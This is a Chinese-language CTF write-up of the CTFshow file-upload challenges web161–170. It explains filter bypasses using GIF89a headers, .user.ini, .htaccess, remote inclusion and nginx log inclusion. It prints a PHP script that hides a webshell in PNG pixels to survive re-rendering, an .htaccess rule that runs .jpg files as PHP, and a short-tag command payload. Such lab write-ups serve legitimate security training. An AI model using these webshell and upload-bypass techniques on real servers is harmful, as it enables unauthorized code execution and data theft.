CTFshow-文件上传-web161-170

web161

这里我们发现不管上传什么都显示文件格式错误

这里通过测试可以用png的后缀,但要用GIF89a的文件头

 先上传配置文件

使用伪协议来读取flag.php

base64解码可得flag

web162

这题把点给过滤了,这样伪协议以及日志包含就不能用了,可以远程文件包含

先上传配置文件

在远程包含一个文件,这里是看在视频里找到的,自己并没有服务器,当然我们虽然上传成功,但这个地址好像无效了,寄。

web163

这题同上

web164

这题我们上传ini失败

我们上传正常的图片,可以,然后查看图片,发现有一个疑似的图片包含点

我们用图片的二次渲染,让其包含php代码,且不影响图片的功能

我们通过脚本生成

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1.png');
?>

这脚本生成的后门是用get方式传递system post传递命令

web165

上一题是png的二次渲染,这一题是jpg的二次渲染,我们将上传后的图片下载下来加入后门代码再上传即可,也可以用脚本生成。

web166

这题只能上传压缩包,我们在压缩包的末尾加上php后门,蚁剑连接即可

web167

提示httpd

.htaccess 文件是 Apache HTTP 服务器的目录级配置文件,它允许用户覆盖 Web 服务器的系统范围设置,而无需修改全局配置文件

我们先上传一个jpg文件,抓包,改为.htacess

文件内容为

<FilesMatch ".jpg">
  SetHandler applicantion/x-httpd-php
<FilesMatch>

这个配置文件上传成功后会将.jpg文件作为php文件解析

然后我们用一句话木马写的jpg上传

然后即可读取flag.php

web168

提示:基础免杀

我们上传一个正常的文件,在后面添加php代码即可,这里应该是过滤了一些危险函数和关键字如eval等。

这里我们多尝试,发现短标签可信

<?='tac ../flagaa.php'?>

web169 170

这里把<给过滤了,我们php里没这不行,使用日志包含

首先上传一个index.php

在上传user.ini

auto_append_file=/var/log/nginx/access.log

再次访问发现日志已经包含

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值